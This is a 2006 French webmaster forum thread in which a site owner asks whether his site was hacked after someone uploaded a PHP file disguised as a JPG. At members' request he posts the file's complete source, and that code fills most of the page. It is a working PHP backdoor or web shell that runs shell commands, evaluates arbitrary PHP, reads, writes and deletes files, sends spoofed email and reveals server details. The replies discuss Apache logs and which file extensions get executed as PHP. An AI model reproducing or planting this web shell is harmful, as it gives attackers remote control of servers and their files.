mon site hacké ?

Consultez la formation à Google Analytics de WebRankInfo / Ranking Metrics

antiflag
Nouveau WRInaute
 
Messages: 14
Inscription: Ven Mar 10, 2006 8:40

mon site hacké ?

Message le Mer Mar 29, 2006 19:59

un mec a uploadé une image via mon formulaire pour l envoi d image :
mais il s agissait d un fichier php :

Backdoor PHP codée par rAidEn & LFL
Exploit include v1.0
Ce script permet d'exploiter une faille include ou une frame mal placée de type :
www.victime.com/index.php?page=http://e ... ckdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.

j'ai stoppé mon serveur.
que puis je regarder pour savoir ce qu il a fait ?

spijoelx
WRInaute occasionnel
WRInaute occasionnel
 
Messages: 249
Inscription: Ven Fév 06, 2004 20:04

Message le Mer Mar 29, 2006 20:17

tes logs apache


TOMHTML
WRInaute accro
WRInaute accro
 
Messages: 3243
Inscription: Mer Aoû 25, 2004 14:05

Message le Mer Mar 29, 2006 20:42

faudrait que tu nous fasse voir le code de ce fichier php, pour qu'on puisse s'en prémunir...


phpmikedu83
WRInaute accro
WRInaute accro
 
Messages: 1281
Inscription: Sam Aoû 06, 2005 7:34

Message le Mer Mar 29, 2006 20:48

TOMHTML a écrit:faudrait que tu nous fasse voir le code de ce fichier php, pour qu'on puisse s'en prémunir...


Ouai, que ça serve à tout le monde...

Edit: en même temps, t'abuses si tu testes pas quel type de fichier on t'envoi...


enky
WRInaute impliqué
WRInaute impliqué
 
Messages: 403
Inscription: Dim Mar 23, 2003 23:29

Message le Mer Mar 29, 2006 20:53

Code: Tout sélectionner
Ce script permet d'exploiter une faille include ou une frame mal placée  publié dans The Hackademy Journal numéro 12

Tu a même le mail du créateur : raiden_cyb@hotmail.com

antiflag
Nouveau WRInaute
 
Messages: 14
Inscription: Ven Mar 10, 2006 8:40

Message le Mer Mar 29, 2006 21:04

je test le fichier que j'upload.
il a uploadé un fichier jpg, qui etait en fait un code php

mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php

voici le code
Code: Tout sélectionner
<?
print("<html><head><title>Backdoor PHP codée par rAidEn & LFL</title></head><body
bgcolor=\"white\" LINK=\"blue\" VLINK=\"blue\">");
print("<p align=\"center\"><font size=\"5\">Exploit include v1.0</font></p>");
print("<p>Ce script permet d'exploiter une faille include ou une frame mal placée de type :
www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.<br><br>
<u>par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12</u><br><br>Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils,  IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team</p>");

/******Code source du système de remote*****/

$QS = $QUERY_STRING;
if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur";
if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur";

/*pour les forms*********************************/
$tab = explode("&", $QS);
$i=0;
$remf = "";
while( $tab[$i] != "" && $tab[$i-1] != "separateur" )
{
    $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
    eval("\$temp2=\${$temp};");
    $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2
."'>\n";
    $i++;
}
/*
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
if($temp!="")
{
    eval("\$temp2=\${$temp};");
    $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2
."'>\n";
}*/
/************************************************/


/*pour les links*********************************/
if($QS != "separateur")
    $reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) .
"&separateur";
else $reml = "?$QS";
$adresse_locale = $reml;
/************************************************/




print("<hr>");
print("<a href=\"$adresse_locale&option=1\">Exécuter une commande dans un shell</a><br> <!-- utiliser exec($commande, $retour); -->");
print("<a href=\"$adresse_locale&option=2\">Exécuter du code PHP</a><br>");
print("<a href=\"$adresse_locale&option=3\">Lister un répertoires</a><br>");
print("<a href=\"$adresse_locale&option=4\">Gérer les fichiers</a><br>");
print("<a href=\"$adresse_locale&option=5\">Envoyer un mail</a><br>");
print("<a href=\"$adresse_locale&option=6\">Infos serveur</a><br>");
print("<a href=\"mailto:raiden_cyb@hotmail.com\">Contacter le créateur</a><br><hr>");


/* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */
$option = $_REQUEST["option"];
$rep =  $_REQUEST["rep"];
$nom =  $_REQUEST["nom"];
$option_file =  $_REQUEST["option_file"];
$cmd =  $_REQUEST["cmd"];
$code =  $_REQUEST["code"];
$msg =  $_REQUEST["msg"];
$option_mail =  $_REQUEST["option_mail"];
$destinataire =  $_REQUEST["destinataire"];
$sujet =  $_REQUEST["sujet"];
$message =  $_REQUEST["message"];

if($option == 1){
    print("<form action=\"?\"> $remf Commande : <input type=\"text\" name=\"cmd\"></form>");
    echo "<br> PS : peu de serveurs acceptent les commandes venant de PHP";
}

if($option == 2){
    print("<form action=\"?\"> $remf Code : <input type=\"text\" name=\"code\"></form>");
}

if($option == 3){
    print("<form action=\"?\"> $remf Répertoire à lister : <input type=\"text\" name=\"rep\"></form>");
    print("$rep");
}

if($option == 4){
    print("<br><form action=\"?\"> $remf");
    print("<br>Nom du fichier :<br><input type=text name=\"nom\">");
    print("<input type=hidden name=option value=$option>");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"mkdir\" >Créer le
fichier");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"edit\" >Éditer le
fichier");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"del\" >Supprimer le
fichier");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"read\" CHECKED>Lire le
fichier");
    print("<input type=submit value=Go>");
    print("</form>");
}


if($option == 5){
    print("<PRE><form action=\"?\"> $remf Destinataire : <input type=\"text\" name=\"destinataire\" size=\"80\">");
    print("<br>Provenance du mail : <input type=\"text\" name=\"provenance\" size=\"80\"><br>");
    print("Adresse de retour : <input type=\"text\" name=\"retour\" size=\"80\"><br>");
    print("Sujet : <input type=\"text\" name=\"sujet\" size=\"80\"><br>");
    print("Message : <input type=\"text\" name=\"message\"
size=\"80\"><br><input type=\"submit\" value=\"Envoyer\"></form></PRE>");
}

if($option == 6){
    echo"Nom du serveur : <a href=\"http://$SERVER_NAME\">$SERVER_NAME</a><br>
";
    echo"Adresse IP du serveur : <a href=\"http://$SERVER_ADDR\">$SERVER_ADDR</a><br> ";
    echo"Port utilisé par défault 80 : <font color=\"red\">$SERVER_PORT</font><br> ";
    echo"Mail de l' admin : <a href=\"mailto:$SERVER_ADMIN\">$SERVER_ADMIN</a><br><br>";
   
   
    echo"Racine du serveur : <font color=\"red\">$DOCUMENT_ROOT</font><br>";
    echo"Adresse menant à COMMAND.COM : <font color=\"red\">$COMSPEC</font><br>";
    echo"Path installé sur le serveur : <font color=\"red\">$PATH</font> <br>";
    echo"OS, SERVEUR, version PHP : <font color=\"red\">$SERVER_SOFTWARE</font><br><br>";
   
    echo"Version du protocole utilisé (HTTP) : <font color=\"red\">$SERVER_PROTOCOL</font><br>";
    echo"En-tête Accept du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT</font><br>";
    echo"En tête User_agent du protocole HTTP : <font color=\"red\">$HTTP_USER_AGENT</font><br>";
    echo"En-tête Accept-Charset du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_CHARSET</font><br> ";
    echo"En-tête Accept-Encoding du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_ENCODING</font><br> ";
    echo"En-tête Accept-Language du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_LANGUAGE</font><br> ";
    echo"En-tête Connection du protocole HTTP : <font color=\"red\">$HTTP_CONNECTION</font><br> ";
    echo"En-tête Host du protocole HTTP : <font color=\"red\">$HTTP_HOST</font><br><br>";
   
    echo"Version de CGI : <font color=\"red\">$GATEWAY_INTERFACE</font><br> ";
    echo"Version de récupération du form : <font color=\"red\">$REQUEST_METHOD</font><br> ";
    echo"Argument de l' adresse : <font color=\"red\">$QUERY_STRING</font> <br>";
    echo"Nom du script : <font color=\"red\">$SCRIPT_NAME</font><br> ";
    echo"Chemin du script : <font color=\"red\">$SCRIPT_FILENAME</font><br> ";
    echo"Adresse entière du script : <font color=\"red\">$REQUEST_URI
</font><br>";
}

/* Commande*******/
if($cmd != "")
{
    echo "{${passthru($cmd)}}<br>";
}
/* Commande*******/


/* Exécution de code PHP**********/
if($code != ""){
    $code = stripslashes($code);
    eval($code);
}
/* Execution de code PHP**********/


/* Listing de rep******************/
if($rep != "")
{
    if(strrchr($rep, "/") != "" ||  !stristr($rep, "/")) $rep .= "/";
    $dir=opendir($rep);
    while ($file = readdir($dir))
    {
           if (is_dir("$rep/$file") && $file!='.')
       {
              echo"<li><a href=\"$adresse_locale&rep=$rep$file\">(rep) $file
</a><br>\n";
       }elseif(is_file("$rep/$file"))
       {
              echo "<li>   <a
href=\"$adresse_locale&option_file=read&nom=$rep$file\">(file) $file</a> <a
href=\"$adresse_locale&option_file=del&nom=$rep$file\">del</a> <a
href=\"$adresse_locale&option_file=edit&nom=$rep$file\">edit</a><br>\n";
       }
    }
}
/* Listing de rep******************/


/* Gestion des fichiers*********************/
if($option_file == "mkdir" && $nom != "")
{
    $fp = fopen($nom, "w");
    fwrite($fp, stripslashes($msg));
    print("Fichier crée/modifié");
}

if($option_file == "read" && $nom != "")
{
    $fp = fopen($nom, "r");
    $file = fread($fp, filesize($nom));
    $file = htmlentities ($file, ENT_QUOTES);
    $file = nl2br($file);
    echo "<br>$file";
}

if($option_file == "del" && $nom != "")
{
    unlink($nom);
    print("Fichier effacé");
}

if($option_file == "edit" && $nom != "")
{
    $fp = fopen($nom, "r");
    $file = fread($fp, filesize($nom));
    $file = htmlentities ($file, ENT_QUOTES);
    echo "<form action=$adresse_locale> $remf";
    echo "<TEXTAREA COLS=80 rows=25 name=msg>$file</textarea>";
    echo "<input type=hidden name=option_file value=mkdir>";
    echo "<input type=hidden name=nom value=$nom>";
    echo "<br><input type=submit value=Go> PS : les fichiers trop longs ne passent po :(";
    echo "</form>";
}
/* Gestion des fichiers*********************/


/* Envoi de mails************************/
if(($destinataire != "" ) && ($sujet != "") && ($message != "")){
    $option_mail = "From: $provenance \n";
    $option_mail .= "Reply-to: $retour \n";
    $option_mail .= "X-Mailer: Mailer by rAidEn \n";
   
    mail($destinataire, $sujet, $message, $option_mail);
   
    print("Mail envoyé a : $destinataire ...");
}
/* Envoi de mails************************/

print("</body></html>");
/*print("<noscript><script=\"");*/
?>


Edit HawkEye_TpfH: Mise en forme [ code ] [ /code ]


phpmikedu83
WRInaute accro
WRInaute accro
 
Messages: 1281
Inscription: Sam Aoû 06, 2005 7:34

Message le Mer Mar 29, 2006 21:18

antiflag a écrit:je test le fichier que j'upload.
il a uploadé un fichier jpg, qui etait en fait un code php

mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php


Ah ok, je vois mieux ;-)

Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!

thierry8
WRInaute accro
WRInaute accro
 
Messages: 3251
Inscription: Lun Juil 11, 2005 11:47

Message le Mer Mar 29, 2006 21:27

phpmikedu83 a écrit:Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!

C'est à dire ?

C'est à quel niveau dans la config apache ?
Parce que par exemple l'extension php3 et php fonctionne...

antiflag
Nouveau WRInaute
 
Messages: 14
Inscription: Ven Mar 10, 2006 8:40

Message le Mer Mar 29, 2006 21:27

donc pas de soucis ?
je peux voir qu'il peut essayer d envoyer des emails afin de s envoyer mes fichier php !
comment lire les logs d envoi d email ?


phpmikedu83
WRInaute accro
WRInaute accro
 
Messages: 1281
Inscription: Sam Aoû 06, 2005 7:34

Message le Mer Mar 29, 2006 21:33

thierry8 a écrit:C'est à quel niveau dans la config apache ?
Parce que par exemple l'extension php3 et php fonctionne...

Ben dans la config des fichiers qui sont envoyés à l'interpréteur PHP, par défaut, tu as .phtml .pwml .php3 .php4 .php .php2 .inc

Tu peux en rajouter directement dans le httpd.conf ou tout simplement dans le fichier .htaccess pour forcer l'interprétation des fichiers .htm ou .html, par exemple...

thierry8
WRInaute accro
WRInaute accro
 
Messages: 3251
Inscription: Lun Juil 11, 2005 11:47

Message le Mer Mar 29, 2006 21:41

Dans le httpd.conf c'est quoi exactement ?

Car j'ai cela, mais uniquement pour le index:
DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3


phpmikedu83
WRInaute accro
WRInaute accro
 
Messages: 1281
Inscription: Sam Aoû 06, 2005 7:34

Message le Mer Mar 29, 2006 21:46

thierry8 a écrit:Dans le httpd.conf c'est quoi exactement ?

Car j'ai cela, mais uniquement pour le index:
DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3


Et tu as aussi:

Code: Tout sélectionner
AddType application/x-httpd-php


entre des tas d'autres choses...

antiflag
Nouveau WRInaute
 
Messages: 14
Inscription: Ven Mar 10, 2006 8:40

Message le Mer Mar 29, 2006 21:47

ou est stocker le log des emails envoyés sur mon serveur ?
pour etre sur qu il ne s'est envoyé...

thierry8
WRInaute accro
WRInaute accro
 
Messages: 3251
Inscription: Lun Juil 11, 2005 11:47

Message le Mer Mar 29, 2006 21:52

Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
Code: Tout sélectionner
#AddType application/x-httpd-php .php


phpmikedu83
WRInaute accro
WRInaute accro
 
Messages: 1281
Inscription: Sam Aoû 06, 2005 7:34

Message le Mer Mar 29, 2006 21:56

thierry8 a écrit:Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
Code: Tout sélectionner
#AddType application/x-httpd-php .php


Tu m'intrigues, là...

mon site hacké ?

Formation recommandée sur ce thème :

Formation Google Analytics : en 2 jours, apprenez comment exploiter l'essentiel des possibilités de l'outil de mesure d'audience de Google. Formation animée par Julien Coquet, expert certifié officiellement par Google Analytics.

Tous les détails sur le site Ranking Metrics : programme, prix, dates et lieux, inscription en ligne.

Lectures recommandées sur ce thème :



Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 0 invités